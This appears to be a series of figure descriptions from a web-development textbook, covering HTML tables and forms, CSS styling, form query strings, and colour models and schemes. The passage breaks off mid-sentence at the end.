The following color codes are identified for different parts of the webpage.

Dark blue background for “Share your travels” heading: #1A237E

Light blue background for the links below: #3F51B5

A very light blue color for the margins: #E8EAF6

Light gray background for the image caption: #C5CAE9

The border for “related photos” section: #C5CAE9

Blue padding for “Reviews” heading: #7986CB

Red font for the dates in the reviews section: #FF80AB



The CRM Admin page displays a photo titled “Jack Smith”. Two boxes titled
as “Personal details” and “Contact” provide further information. The last box
at the bottom, titled as “Sales activity” shows a bar graph.

A mouse-hover is displayed on a link labeled as “Task”, just below the
“CRM Admin” title. A text pointing to this mouse-hover reads, “Add styling
to the

:hover selector for nav links. Use #03A9F4 as the text color for links, and
#FF3D00 as the background color”

Another text pointing to the background patterns of the main headings reads,
“Use Background-Pattern.Png As The Background Image”

A third text below reads, “Use Roboto font from Google Font. Use the
appropriate <link> element to use this font”.

A text next to the bar graph at the bottom reads, “Scale the image to the size
of its parent container (use % size)”.

The following color codes point to different colors used in the website:

#263238, #607D8B, #ECEFF1, #FF3D00.



The webpage is titled as “Art Store”. A code pointing to the background
color of the title is as follows: rgba(33,33,33,0.5)

The webpage shows a picture of a statue in the background, and two boxes in
the foreground. One of the boxes is titled as “Still waiting”, and shows the
following information below:

“Our website will be live in

4 years, 3 months, and 2 days *

*hopefully”

Three color codes are displayed for this box as follows:

rgba(224,224,224,0.5): for “still waiting” background

rgba(66,66,66,0.5): for “4 years…” background

rgba(255,255,255,0.5): for “our website….” background

The second box shows three photos of different art pieces, and is labeled as
“Recent acquisitions”. A text next to this box reads, “The header, main, and

footer areas each have box-shadows”

The entire webpage is resized into a smaller size. Two texts referring to the
resized window give the following information:

“Use Merriweather font from Google Font. Use the appropriate <link>
element to use this font”

“Use the background-size property to force background image to resize to
window width”



Illustration shows four screenshots that display different types of HTML
tables. One screenshot shows a calender of October 2014. Another screenshot
shows a table titled “Paintings” with five columns, where first column
displays paintings. Third screenshot shows table titled “Artist's inventory”,
which has a combination of images and texts. Fourth screen shows a table
inside another table, showing different data plans.



Table structure shows two rows with element name <tr>. Each row contains
multiple table data cells, labeled <td>. Each cell holds a piece of data.

Structure in html format is as follows:

<table>

<tr>

<td>The Death of Marat</td>

<td>Jacques-Louis David</td>

<td>1793</td>

<td>162cm</td>

<td>128cm</td>

</tr>

<tr>

<td>Burial at Ornans</td>

<td>Gustave Courbet</td>

<td>1849</td>

<td>314cm</td>

<td>663cm</td>

</tr>

</table>

When rendered on a webpage, screen shows contents of table as follows:



The Death of Marat; Jacques-Louis David; 1793; 162 cm; 128cm

Burial at Ornans; Gustave Courbet; 1849; 314cm; 663cm



Table structure shows three rows with element name <tr>. Each row contains
multiple table data cells, labeled <td>. Each of these cells holds a piece of
data. In first row, table data cells are labeled as <th> instead of td.

Structure in html format is as follows:

<table>

<tr>

<th>Title</th>

<th>Artist</th>

<th>Year</th>

<th>Width</th>

<th>Height</th>

</tr>

<tr>

<td>The Death of Marat</td>

<td>Jacques-Louis David</td>

<td>1793</td>

<td>162cm</td>

<td>128cm</td>

</tr>

<tr>



<td>Burial at Ornans</td>

<td>Gustave Courbet</td>

<td>1849</td>

<td>314cm</td>

<td>663cm</td>

</tr>

</table>

When rendered on a webpage, screen shows contents of table as follows, with
first row items displayed in bold:

Title; Artist; Year; Width; Height

The Death of Marat; Jacques-Louis David; 1793; 162 cm; 128cm

Burial at Ornans; Gustave Courbet; 1849; 314cm; 663cm



Table structure shows three rows with element name <tr>. Each row contains
five table data cells, labeled <td>. First row has only four cells instead of 5.
Last two cells in this row are combined to form a single cell using the colspan
attribute as <th colspan=2>.

Structure in html format is as follows:

<table>

<tr>

<th>Title</th>

<th>Artist</th>

<th>Year</th>

<th colspan=2>Size (width X height) </th>

</tr>

<tr>

<td>The Death of Marat</td>

<td>Jacques-Louis David</td>

<td>1793</td>

<td>162cm</td>

<td>128cm</td>

</tr>

<tr>

<td>Burial at Ornans</td>



<td>Gustave Courbet</td>

<td>1849</td>

<td>314cm</td>

<td>663cm</td>

</tr>

</table>

A text pointing to first row in html format reads, “Notice that this row now
only has four cell elements.”



Table structure shows four rows with element name <tr>. Each row contains
three table data cells, labeled <td>. In first column, the second, third and
fourth rows are combined to form a single row. A rowspan attribute <td
rowspan=3> is used to acheive this.

Structure in html format is as follows:

<table>

<tr>

<th>Title</th>

<th>Artist</th>

<th>Year</th>

</tr>

<tr>

<td rowspan=3>Jacques-Louis David</td>

<td>The Death of Marat</td>

<td>1793</td>

</tr>

<tr>

<td>The Intervention of the Sabine Women</td>

<td>1799</td>

</tr>

<tr>



<td> Napoleon Crossing the Alps</td>

<td>1800</td>

</tr>

</table>

A text pointing to last two rows in html format reads, “Notice that these two
rows now only have two cell elements.”



A code is displayed with additional table elements, with a text explaining
each part of the code, as follows:

<table>

<caption>19th Century French Paintings</caption>

( A text pointing to “caption” reads, “A title for the table is good for
accessibility.”)

<col class=“artistName” />

<colgroup id=“paintingColumns”>

<col />

<col />

</colgroup>

(A text pointing to this entire code block reads, “These describe our columns,
ad can be used to aid in styling.”)

<thead>

<tr>

<th>Title</th>

<th>Artist</th>

<th>Year</th>

</tr>

</thead>

(A text pointing to this entire code block reads, “Table header could



potentially also include other <tr> elements.”)

<tfoot>

<tr>

<td colspan=“2”>Total Number of Paintings</td>

<td>2</td>

</tr>

</tfoot>

(Text pointing to this code block reads, “Yes, the table footer comes before
the body.”)

<tbody>

<tr>

<td>The Death of Marat</td>

<td>Jacques-Louis David</td>

<td>1793</td>

</tr>

<tr>

<td>Burial at Ornans</td>

<td>Gustave Courbet</td>

<td>1849</td>

</tr>

</tbody>



(A text pointing to this code block reads, “Potentially, with styling the
browser can scroll this information, while keeping the header and footer fixed
in place.”)

A screenshot shows a webpage on which this code is rendered. Table
displayed in screen is as follows:

19th Century French Paintings

Title; Artist; Year

The Death of Marat Jacques; Louis David; 1793

Burial at Omans; Gustave Courbet; 1849

Total Number of Paintings; 2



Illustration shows two screenshots. First screenshot shows a webpage as a
user would see it. Webpage is titled as “Castle”, and it shows a picture of a
castle, with some text describing it. Four more images are displayed in that
page under the title, “Other images by Michele Brooks”.

Second screenshot shows same webpage as first, but with borders
prominently visible around the photographs and text. Page shows a smaller
table embedded inside a larger table. Smaller table holds four images
displayed under the title “Other images by Michele Brooks”. Code which
renders this table is displayed next to screen as follows:

<table>

<tr>

<td><img src=“images/464.jpg” /></td>

<td><img src=“images/537.jpg” /></td>

</tr>

<tr>

<td><img src=“images/700.jpg” /></td>

<td><img src=“images/828.jpg” /></td>

</tr>

</table>

Bigger table forms outline. It has two verticle sections. Left section shows
picture of castle. Right section shows page title and text that describes castle.
Code which renders this table is displayed as follows:

<table>

<tr>



<td>

<img src=“images/959.jpg” alt=“Castle”/>

</td>

<td>

<h2>Castle</h2>

<p>Lewes, UK</p>

<p>Photo by: Michele Brooks</p>

<p>Built in 1069, the castle has a tremendous view of the town of Lewes and
the surrounding countryside.

</p>

<h3>Other Images by Michele Brooks</h3>

</td>

</tr>

</table>



Illustration shows five screenshots. First screenshot shows a webpage with a
table titled as “19th Century French Paintings”. Table shows three columns
labeled as Title, Artist, and Year. It has four rows, with a footer row that
gives a count of the “Total Number of Paintings” as 4.

First screenshot shows entire table encased in a black bordered box. Code
that renders this border is displayed next to screen as follows:

table {

border: solid 1pt black;

}

In second screenshot, same table is displayed with a black border around it.
Each cell in table is displayed with its own border. Code for this is shown as
follows:

table {

border: solid 1pt black;

}

td {

border: solid 1pt black;

}

In third screenshot, borders between individual cells and table are collapsed,
so screen shows a single table with proper rows and columns showing data.
Code for this is shown as follows:

table {

border: solid 1pt black;



border-collapse: collapse;

}

td {

border: solid 1pt black;

}

Fourth screenshot shows a padding for content of each individual cell. Code
for this is shown as follows:

table {

border: solid 1pt black;

border-collapse: collapse;

}

td {

border: solid 1pt black;

padding: 10pt;

}

In last screenshot, each cell is shown inside its own border. A spacing is
provided between the individual cells and the table. Code for this is shown as
follows:

table {

border: solid 1pt black;

border-spacing: 10pt;



}

td {

border: solid 1pt black;

}



Illustration shows three screenshots. First screenshot shows a webpage with a
table titled as “19th Century French Paintings”. Table shows three columns
labeled as “Title”, “Artist”, and “Year”. Five rows shows five titles along
with respective artist and year.

In first screenshot, only title of table is boxed in two horizontal, bold lines.
Code that renders this style is displayed as follows:

caption {

font-weight: bold;

padding: 0.25em 0 0.25em 0;

text-align: left;

text-transform: uppercase;

border-top: 1px solid #DCA806;

}

Second screenshot shows a black background color for column headers. Code
for this style is shown as follows:

thead tr {

background-color: #CACACA;

}

th {

padding: 0.75em;

}

Third screenshot shows a black background color for column headers, and a



light gray background color for rest of table. Code for this style is as follows:

tbody tr {

background-color: #F1F1F1;

border-bottom: 1px solid white;

color: #6E6E6E;

}

tbody td {

padding: 0.75em;

}



A code is displayed as follows, where a style element for hovering is added to
<tr> element:

tbody tr:hover {

background-color: #9e9e9e;

color: black;

}

A screenshot shows a webpage on which this code is rendered. Webpage
shows a table with multiple rows. Cursor is placed on one of the cells, and
entire row of that cell is highlighted with a black background.

Another code is displayed as follows where a style element for zebra stripes
is added to <tr> element:

tbody tr:nth-child(even) {

background-color: lightgray;

}

A screenshot shows a webpage on which this code is rendered. Webpage
shows a table with multiple rows where alternate rows are displayed in
different colors, like stripes of a zebra.



Sample HTML form is shown as follows:

<form method=“post” action=“process.php”>

<fieldset>

<legend>Details</legend>

<p>

<label>Title: </label>

<input type=“text” name=“title” />

</p>

<p>

<label>Country: </label>

<select name=“where”>

<option>Choose a country</option>

<option>Canada</option>

<option>Finland</option>

<option>United States</option>

</select>

</p>

<input type=“submit” />

</fieldset>



</form>

A screenshot shows a webpage on which this code is rendered. Webpage
shows a form titled “Details”. Form shows a “Title” label, and a field to add a
title. A dropdown menu labeled “Country” is displayed below, displaying a
list of 3 countries to choose from. A “Submit” button is displayed at bottom
of form.

Arrows are drawn from different lines of HTML code to respective part of
form in the screenshot, indicating elements which are rendered by that
particular html line. Elements of form which are highlighted are as follows:

Form outline

“Details” heading

“Title” label

Input box to add the title

“Choose a Country” label

Items in the country menu

“Submit” button



Illustration shows two screenshots. First screenshot shows a webpage as a
user would see it. Webpage is titled as “Castle”, and it shows a picture of a
castle, with some text describing it. Four more images are displayed in that
page under the title, “Other images by Michele Brooks”.

Second screenshot shows same webpage as first, but with borders
prominently visible around the photographs and text. Page shows a smaller
table embedded inside a larger table. Smaller table holds four images
displayed under the title “Other images by Michele Brooks”. Code which
renders this table is displayed next to screen as follows:

<table>

<tr>

<td><img src=“images/464.jpg” /></td>

<td><img src=“images/537.jpg” /></td>

</tr>

<tr>

<td><img src=“images/700.jpg” /></td>

<td><img src=“images/828.jpg” /></td>

</tr>

</table>

Bigger table forms outline. It has two verticle sections. Left section shows
picture of castle. Right section shows page title and text that describes castle.
Code which renders this table is displayed as follows:

<table>

<tr>



<td>

<img src=“images/959.jpg” alt=“Castle”/>

</td>

<td>

<h2>Castle</h2>

<p>Lewes, UK</p>

<p>Photo by: Michele Brooks</p>

<p>Built in 1069, the castle has a tremendous view of the town of Lewes and
the surrounding countryside.

</p>

<h3>Other Images by Michele Brooks</h3>

</td>

</tr>

</table>



Illustration shows screenshot of a webform which is titled as “Details”.
Webform shows two fields labeled as “Title” and “Country” where user can
enter data. A submit button is shown at bottom of form.

A query string is displayed above screenshot as follows:

<input type=“text” name=“title” />

Word “title” in this string points at field labeled as “Title” inside webform.

Another query string is displayed below screenshot as follows:

<select name=“where”>

Word “where” in this string points at the field labeled as “Country” inside the
webform.

A third query string is displayed next to screenshot as follows:

title=Central+Park&xg604where=United+States

Word “Central Park” points to the entry inside the “Title” field, while the
word “United States” points to entry inside “Country” field in webform.



A screenshot shows a box with a field labeled as “Artist”. Field has an entry
as “Pablo Jose Picasso” where the “e” in Jose is accented. A submit button is
displayed below this field.

An arrow points from submit button to a query displayed next to screenshot.
Query, labeled as “URL encoding” is shown as follows:

“artist=Pablo+Jos%E9+Picasso”

The “plus” symbols and “E9” in this string are displayed in red.

A text above this query reads, “Notice how the spaces and the accented e are
URL encoded (in red).



Illustration shows screenshot of a webform which is titled as “Details”.
Webform shows two fields labeled as “Title” and “Country” where user can
enter data. A “Submit” button is shown at bottom of form.

An arrow is drawn from the submit button, branching out into two methods.
First method is displayed as follows:

<form method=“get” action=“process.php”>

A query string is displayed below this method as follows:

GET /process.php?title=Central+Park&where=United+States http/1.1

Second method to which the “submit” method points is as follows:

<form method=“post” action=“process.php”>

An HTTP header is displayed below this method as follows:

POST /process.php http/1.1

Date: Sun, 21 May 2017 23:59:59 GMT

Host: www.mysite.com

User-Agent: Mozilla/4.0

Content-Length: 47

title=Central+Park&where=United+States

Last line, “title=Central+Park&where=United+States” is identified as “query
string”.



Illustration shows eight text inputs and their respective screenshots. First text
input is shown as : <input type=“text” … />

When rendered on screen, it shows a simple input field labeled as “Text:”.

Second text input is shown as

<textarea>

enter some text

</textarea>

On screen, a bigger box labeled as “Text area:” is displayed, with a prompt
labeled “enter some text” written inside.

Third text input is:

<textarea placeholder=“enter some text”>

</textarea>

This also shows a bigger box labeled as “Text area:” with an “enter some
text” prompt. Box is shown with a thick border.

Fourth text input is:

<input type=“password” … />

When rendered on screen, it shows two boxes labeled as “Password:”. First
box is empty while second box shows a user entry.

Fifth text input is:

<input type=“search” placeholder=“enter search text” … />

When rendered on screen, it shows two search boxes. First box has a prompt,
“enter some text”. Second box has a user entry as “HTML” displayed along



with a delete button.

Sixth text input is:

<input type=“email” … />

Illustration shows two images of how this input is rendered in Opera and
Chrome. In Opera, an input field titled “Email:” is displayed with a text
message below which reads, “Please enter a vaid email address”. In Chrome,
a similar input field titled as “Email:” is displayed. Text message below it
reads, “Please enter an email address”.

Seventh text input is:

<input type=“url” … />

When rendered on screen, it shows a field titled as “url”. A text message
below reads, “Please enter a URL”.

Last text input is:

<input type=“tel” … />

It displays an input field titled as “Tel:”.



Code is displayed as follows:

<input type=“text” ... placeholder=“L#L #L#”

pattern=“[a-z][0-9][a-z] [0-9][a-z][0-9]” />

When rendered on screen, webpage shows an input field labeled as “Postal:”.
A text “L#L#L#” is displayed inside the field.

Same input field is shown with a user entry as “abcd” inside it. An alert is
displayed under input field which reads, “Please match the requested format”.



The figure shows a text box labeled “Search city,” with a character 'P' and a
drop down list with components “Paris” and “Prague.” A statement <input
type="text" name="city" list="cities"/> points to the text box with an arrow
and a code shown below points to the list.

<datalist id="cities">

<option>Calcutta</option>

<option>Calgary</option>

<option>London</option>

<option>Los Angeles</option>

<option>Paris</option>

<option>Prague</option>

</datalist>



The figure shows a text box with a drop down button and a text “Second”
labeled as “Select:” Below this text box, there is a same text box with a drop
down list having components “First,” “Second (selected),” and “Third.” At
the right of these boxes there is a code shown below:

<select name="choices">

<option>First</option>

<option selected>Second</option>

<option>Third</option>

</select>

Below the above mentioned text boxes, there is another same text box with a
drop down list having components “Second (selected),” “Third,” and
“Fourth.” At the right of this text box, there is a statement shown below:

<select size="3" ...>

Below this text box, there is a text box with a drop down button and a list
shown below:

North America

Calgary

Los Angeles

Europe

London (Selected)

Paris

Prague



At the right of this text box, there is a code shown below:

<select ...>

<optgroup label="North America">

<option>Calgary</option>

<option>Los Angeles</option>

</optgroup>

<optgroup label="Europe">

<option>London</option>

<option>Paris</option>

<option>Prague</option>

</optgroup>

</select>



The figure shows a text box with a drop down button and a drop down list
having components “First,” “Second (selected),” and “Third.”

It also shows two codes with first one shown below pointing to a text “?
choices=Second.”

<select name="choices">

<option>First</option>

<option>Second</option>

<option>Third</option>

</select>

The second code shown below is pointing to the text “?choices=2.”

<select name="choices">

<option value="1">First</option>

<option value="2">Second</option>

<option value="3">Third</option>

</select>



Radio button block is labeled as “Continents”. It shows three radio buttons
labeled as North America, South America, and Asia, with the button next to
South America selected.

Code which renders this element is shown as follows:

<input type=“radio” name=“where” value=“1”>North America<br/>

<input type=“radio” name=“where” value=“2” checked>South America<br/>

<input type=“radio” name=“where” value=“3”>Asia



A selected checkbox is displayed with the following text: “I accept the
software license”.

Code for this button is shown as follows:

<label>I accept the software license</label>

<input type=“checkbox” name=“accept” >

Three checkboxes are displayed under text: “Where would you like to visit?”.
Three checkbox buttons are labeled as “Canada”, “France” and “Germany”,
with Canada and Germany selected.

Code for these buttons is shown as follows:

<label>Where would you like to visit? </label><br/>

<input type=“checkbox” name=“visit” value=“canada”>Canada<br/>

<input type=“checkbox” name=“visit” value=“france”>France<br/>

<input type=“checkbox” name=“visit” value=“germany”>Germany

An arrow points from three “input type” lines to another code which reads as
follows: “? accept=on&visit=canada&visit=germany”.



Illustration shows a “Submit” button with following code:

<input type=“submit” />

A “Reset” button is shown with code as follows:

<input type=“reset” />

Third button displayed is labeled as “Click Me”. Code for this is shown as:

<input type=“button” value=“Click Me” />

A calender image is displayed with following code:

<input type=“image” src=“appointment.png” />

Fifth button displayed is labeled as “Edit”. It also contains a small icon on it.
Code for this button is shown as follows:

<button type=“submit” >

<img src=“images/edit.png” alt=“…”/>

Edit

</button>

Last button displayed is labeled as “Email”. It also contains a mail icon on it.
Code for this button is shown as follows:

<button>

<a href=“email.html”>

<img src=“images/email.png” alt=“…”/>

Email



</a>

</button>



User interface shows a button labeled as “Choose File”. A text above the
button reads, “Upload a travel photo”. Another text next to the button reads,
“No file chosen”.

Illustration also shows user interface after a file has been chosen. Same
button is displayed with the text above. In place of “No file chosen”, selected
file name is displayed as IMG_0020.JPG.

Code that renders this control is shown as follows:

<form method=“post” enctype=“multipart/form-data” … >

…

<label>Upload a travel photo</label>

<input type=“file” name=“photo” />

…

</form>



User interface shows an input box titled as “Rate this photo”. An entry “2” is
displayed in the box, with buttons to select other numbers. Code for this
button is shown as follows:

<label>Rate this photo: <br/>

<input type=“number” min=“1” max=“5” name=“rate” />

Another user interface shows a horizontal scroll button with “Grumpy” at one
end and “Ecstatic” at the other. Button is placed closer to “Ecstatic”. Code for
this element is shown as follows:

Grumpy

<input type=“range” min=“0” max=“10” step=“1” name=“happiness” />

Ecstatic

Same two controls are displayed below, as they appear in browsers that do
not support these input types. “Rate this photo” button is shown without input
button and showing only text. A horizontal scroll button is not displayed.
Only two texts at ends of the horizontal scroll are displayed.



The figure shows a browser window with range meters for “Progress” and
“Your happiness is.” The meter for happiness is pointed by “<meter
value="4" min="0" max="10" low="2" high="8">4 of 10</meter>” and
meter for progress is pointed by “<progress value="70" max="100">70 %
</progress>”

The 4 of 10 and 70 percent are labeled “This is the content that will be
displayed if browser does not support these elements.”



User interface shows a small box labeled as “Background color”. Box shows
a black color selection.

A bigger box labeled as “Color” is displayed below. It shows a grid of
various color squares under title, “Basic colors”. Another smaller grid of
black colored squares is displayed under title, “Custom colors”. Box displays
input boxes labeled as Hue, Sat, Lum, Red, Green and Blue, along with a
button labeled as “Add to custom colors”. An “Ok” and “Cancel” button are
displayed inside box.

Code displayed next to the box reads:

<label>Background Color: <br/>

<input type=“color” name=“back” />

Illustration also shows a small empty box labeled as “Background color”. A
text pointing to this box reads, “Control as it appears in browser that doesnt'
support this input type”.



Code is displayed as follows:

<input type=“text” ... placeholder=“L#L #L#”

pattern=“[a-z][0-9][a-z] [0-9][a-z][0-9]” />

When rendered on screen, webpage shows an input field labeled as “Postal:”.
A text “L#L#L#” is displayed inside the field.

Same input field is shown with a user entry as “abcd” inside it. An alert is
displayed under input field which reads, “Please match the requested format”.



Label element is shown in following code:

<label for=“f-title”>Title: </label>

Associated input element is shown as follows:

<input type=“text” name=“title” id=“f-title”/>

A line is drawn between “f-title” in both code-lines.

Similarly, another label element is shown as follows:

<label for=“f-country”>Country: </label>

Associated input element is shown as follows:

<select name=“where” id=“f-country”>

<option>Choose a country</option>

<option>Canada</option>

<option>Finland</option>

<option>United States</option>

</select>

A line is drawn between “f-country” in both codes.



Illustration shows three webservers. First webserver illustrates two websites
that displays the contact information of two people. It also shows another
website labeled as “Microformat Information (Hnews)”. Second webserver
shows a website displaying contact information of an individual, and another
website which collects news. Similarly, third webserver shows three websites
for three individuals, and a single website for News Items. Websites for three
individuals is labeled as “Microformat hCard”.

Three webservers are connected to a central server which harvests
microformat information. It points to two outputs. One of them is a website
that aggregates all the “hNews” information from different website. Other is a
report that aggregates all “hCard” information from different websites.



Illustration shows two screenshots. First screen shows Google search results
for “pearson plc”. This page also displays structured details about “Pearson
Plc” on the right side of the screen, with links to Facebook, Linkedin, Twitter
and Youtube profiles.

Second screen shows the Bing search results for “Pearson plc”. Right side of
this screen shows a short summary of “Pearson Plc”, along with a Wikipedia
link.

A text points to details displayed on right side of both the screens. Text reads,
“Search engines use the information marked up using vocabulary from
schema.org to provide additional structured information.”



Illustration shows a screenshot that displays two boxes. First box is titled as
“Data”. It shows a table labeled as “Orders” that displays content in five rows
and six columns. Fifth column is titled as “Progress” and it shows progress
bars for every row. A text pointing to these progress bars reads, “Use the
<progress> element”. Last column is titled as “Status”, and it shows various
icons labeled as “Shipped”, “Processing” or “Pending”. A texting pointing to
these icons reads, “Use the <span> element along with the status and the
status-shipped, status-processing, and status-pending CSS classes”.

Second box is titled as “Revise”. It displays a form labeled as “Filter Orders”
with fields to enter customer name, country, status and order date. A color
code, “#607D8B”, points to background gray color of form label.

A window is displayed in foreground with following data.

Form Input

Get Data

client=locke

country=France

type=pending

data=2016-06-07

Post Data

There are no POST variables.



Illustration shows a webpage that displays a form labeled as “Advanced Art
Work Search”. Top panel shows a search box, along with radio buttons for
History, Person, and Landscape. A dropdown titled “Select Genre” and a
“Filter” button are also displayed in this panel.

Second panel shows a dropdown menu titled “Bulk Actions” and a button
labeled as “Apply to All”.

A table labeled as “Paintings” is shown below, with columns labeled as
“Title”, “Artist”, “Year”, “Genre”, and “Actions”. Each row displays a
thumbnail of a painting. Action column displays icons for edit, delete,
download and expand. Table shows five rows of data.

A window is displayed in foreground with following data.

Form Input

Get Data

search=and

subject=2

filter=4

actions=1

index=Array

Index 0 Selected value=20

Index 1 Selected value=40

Post Data

There are no POST variables.



Illustration shows two webpages. Webpage in background is titled as “Share
Your Travels”. It displays a form labeled as “Photo Details”. Two Input
fields labeled as “Title” and “Description” are displayed on top. Two menu
items for “Continent” and “Country”, and an input field for city are displayed
one below the other. This form also shows two radio buttons under
“Copyright?” and three checkboxes under “Creative common types”. A
checkbox is displayed with text that reads, “I accept the software license”.
Bottom panel of form displays fields to “rate this photo”, “Date taken”,
“Time taken” and “Color Collection”. Finally a “Submit” and “Clear form”
buttons are displayed at bottom.

Webpage in foreground shows same page with user inputs. It also shows
following color codes pointing to different parts of the webpage.

#E91E63: points to “Clear form” button at bottom.

#9FA8DA: points to dark blue padding of bottom panel.

#C5CAE9: points to light blue content area of form that contains “Date
Taken” and “Time Taken” fields.

#E8EAF6: points to light gray area of margin.

A window is displayed in foreground with following data.

Form Input

Get Data

There are no GET variables.

Post Data

title=Sunlight in Calgary

description=It was such a surprise to see it, but the sun came out.

continent= North America



country= Canada

city= Calgary

copyright= 2

cc=Array

--Index 0 Selected value=1

--Index 1 Selected value=3

accept=on

rate=3

color=#00ff40

date=2016-06-22

time=13:02



The first panel on top shows an original photographic image of a statue of a
man riding a chariot driven by four horses. The panel below shows the same
photograph rendered as colored squares or pixels on a computer or mobile
screen. The third panel below shows the output as halftones, which shows the
photograph made up of overlapping dots.



First set of images shows a logo with the word “Simple” written over a green
circle. This is the original Raster image with a 100 by 50 resolution. The
second image in this set shows a pixellated blurred photo, depicting Raster
image enlarged by 400 percent. The second set of images show the same logo
in an original Vector image. The next image in this set depicts Vector image,
enlarged by 400 percent is clearly visible without any loss of resolution.



The diagram shows three overlapping circles inside a black square. The
circles are red, blue and green in color. Further colors are gettung formed by
overlapping of these circles:

red and green: yellow

red and blue: pink

blue and green: light blue

red, blue, and green: white.



Top image shows color picker opened in Photoshop editor, where the user
can pick any color and add it to the foreground of an image. The bottom
image shows the front page of http://www.colorpicker.com, which allows the
user to sample any color. The image also points to a chrome extension,
“ColorZilla”, added to the taskbar.



The diagram shows three overlapping circles colored cyan, magenta and
yellow. The colors formed by overlapping of circles are:

cyan and magenta: blue

magenta and yellow: red

yellow and cyan: green

cyan, magenta, and yellow: black



Diagram shows a circle filled with different shades of various colors,
representing the gamut of visible colors. A large triangular area is marked
inside the circle, representing average and approximate color gamut of RGB.
A smaller triangle is marked within the triangle, representing average and
approximate color gamut of CMYK. Visible colors are prevailing near the
periphery of the sphere.



The HSL color model shows a square divided into five rows and seven
colums of smaller colored cells. The columns represent “hue”, with each
square in a column showing a different color, ranging from 0 degree on the
left to 360 degrees on the right. The rows represent “saturation”, with each
column showing different intensities of the same color, ranging from 100
percent on top to zero percent at the bottom. An independent column shown
at the left represents “lightness”. It shows a small red square from the bigger
color grid represented with various shades on a verticle color range between
0 and 100 percent. 100 percent on the top of the column depicts white, and 0
percent at the bottom shows the color as black, with color red depicted in the
middle of the column.



A photograph is divided into different bands of opacity. A photo of outer part
of a building is overlapped by four horizontal green bands labeled A, B, C,
and D. Band A is totally opaque, with the subsequent bands showing
progressively higher levels of transparency. The opacity levels of the bands is
shown as follows:

A: 1.0

B: 0.75

C: 0.50

D: 0.25



The code is as shown below, with the colors, and values for opacity, hue,
luminosity, and saturation identified.

.rectangleA {

background?color: rgb(0, 255, 0);

} [here, 0 represents red, 255 represents green, and 0 represents blue]

.rectangleB {

background?color: green;

opacity: 0.75;

.rectangleC {

background?color: rgba(0, 255, 0, 0.50);

} [here, 0.50 represents the opacity value]

.rectangleD {

background?color: hsla(120, 100%, 50%, 0.25);

} [ here, 120 represents hue, 100 percent represents saturation, 50 percent
represents luminosity, and 0.25 represents opacity]



The five gradients are colored squares labeled from A to E, with the default
direction specified as top to bottom. First square labeled A shows green color
in the top half that gradually blends into white. The property is as follows: “
background-image: linear-gradient (green, white);” [ here, “linear-gradient”
is the “CSS function”; green and white are the “color stops”].

Second square labeled B shows blue color in the top left that gradually blends
into white in the bottom right. The property is : “background-image: linear-
gradient(to top left, white, blue);” [here, “to top left” is the “destination
direction”]

Third square, C shows green color on the left half that blends into multiple
colored bands on the right, with blue at the right. The property is:
“background-image: linear-gradient (90 deg, green 50%, orange, blue);”
[here, “90 deg” is the angle. “green 50%, orange, blue” is labeled as “you can
specify multiple color stops”. “50%” is labeled as “size of color stop”.]

Fourth square, D shows alternate green and black stripes moving from top
left to bottom right. The property is “background-image: repeating-linear-
gradient (135deg, black 0, black .75 em, green 0, green 2em);” [here,
“135deg, black 0” is labeled as “first a black stripe from 0 to 0.75em”. “
black .75 em, green 0, green 2em” is labeled as “then a green stripe from 0.75
to 2.75em”]

Fifth square, E shows a yellow circle surrounded by red background. The
property is “radial-gradient(circle, yellow, red);” [here, “circle” is the “shape”
specified].



The color wheel shows 12 small circles arranged in a circular fashion. Each
circle shows a particular color. The colors on the right ranging between red,
orange and yellow are labeled as “warmer colors”. The colors on the left,
ranging between violet, blue and green are labeled as “cooler colors”.



Each illustration shows a color wheel made up of 12 colored circles arranged
in a circular fashion, accompanied by a description of the color relationship.

First color relationship is “Complementary”. It shows a straight line inside
the color wheel pointing at green and red circles at opposite ends. The
description reads, “These are color pairs that are on opposite ends of the color
wheel. Complementary colors are highly contrasting and are believed to
create a vibrant look. This scheme looks best when you place a warm color
against a cool color.”

Second color relationship is “Analogous”. It highlights three adjacent colors:
blue, green, and parrot green. The description reads, “These are colors that
are adjacent to one another on the color wheel. Since they lack contrast, they
match well and create serene and harmonious designs. One color can be used
as a dominant color while others are used to enrich the scheme.”

Third color relationship is “Split complementary”. It shows a Y figure inside
the color wheel, pointing at green, pink and orange circles. The description
reads, “It uses a primary color and the two colors on each side of its
complementary color. This provides contrast but without the strong tension of
the complementary scheme as well as providing some of the harmonies of an
analogous scheme.”

Fourth relationship is a “Triad”. It shows an inverted triangle inside the color
wheel, pointing to colors violet, green and mud yellow. The description
reads, “Uses three colors on the color wheel in an equilateral triangle. Tends
to be quite vibrant, gives a strong visual contrast but still retains a harmony
among the colors. Works best if one color is dominant and the two others are
used as accent colors.”

Fifth relationship is “Tetradic”. It shows a rectangle inside the color wheel.
It's four corners point to four colors as violet, mud yellow, yellow, and
indigo. The description reads, “Also called a double complement, since it
combines two sets of complementary colors. This rich scheme can be hard to
harmonize if all four hues are used in equal amounts, so only one or two of
the four colors should be dominant.”



Top image shows front page of the website,
http://www.colorschemedesigner.com. The webpage shows a color wheel
with multiple smaller circles on top to choose from, and also a color square,
accompanied by smaller color boxes on top. An adjoining text reads, “Allows
you to construct themes based on different color relationships, and then see
previews of sample websites with the colors in the scheme.”

Bottom image shows two pages from http://kuler.adobe.com. Page at the
back shows various themes to choose from. Page in the front allows a user to
create a color scheme using different shades of colors. An adjoining text
reads, “Also allows you to construct themes based on different color
relationships. Also lets you browse and use color schemes put together and
voted on by the Kuler community.”



The Image shows a photo of a building top. A part of this photo is magnified,
with one pixel enlarged into a red square. The 24-bit color representation is
as follows: “11110111 10100110 10010000” [here, the three 8 digit numbers
are labeled as “8-bit red”, “8-bit green”, and “8-bit blue” respectively].

8-bit color representation is shown as: “00010111”.



Left image shows a 24-bit color monitor. The square shows a green
horizontal band on top that blends into a red band in the middle, extending
below into a yellow band at the bottom.

Middle image shows a 8-bit color monitor. The square shows the green-red-
yellow bands as in the 24-bit monitor, but this monitor shows a few smaller
horizontal bands in each color band.

Right image shows a 5-bit color monitor. The green-red-yellow bands are
prominently divided into smaller horizontal bands in this monitor.

An adjoining text reads, “Notice the banding due to the dithering (dithering is
more obvious on screen than on paper)”.



Illustration shows a grid on the left divided in 3 rows and 3 columns forming
9 smaller squares of different colors. The grid points to a larger grid on the
right which is divided in 4 rows and 4 columns, forming a total of 16 smaller
squares without colors. Text below this grid reads, “If we enlarge the 3 by 3
image on the left and make it a 4 by 4 image, what color should each square
be?”

Two more colorful grids are displayed at the bottom, with each of them
having 16 smaller squares in 4 rows and 4 columns. The color patterns in
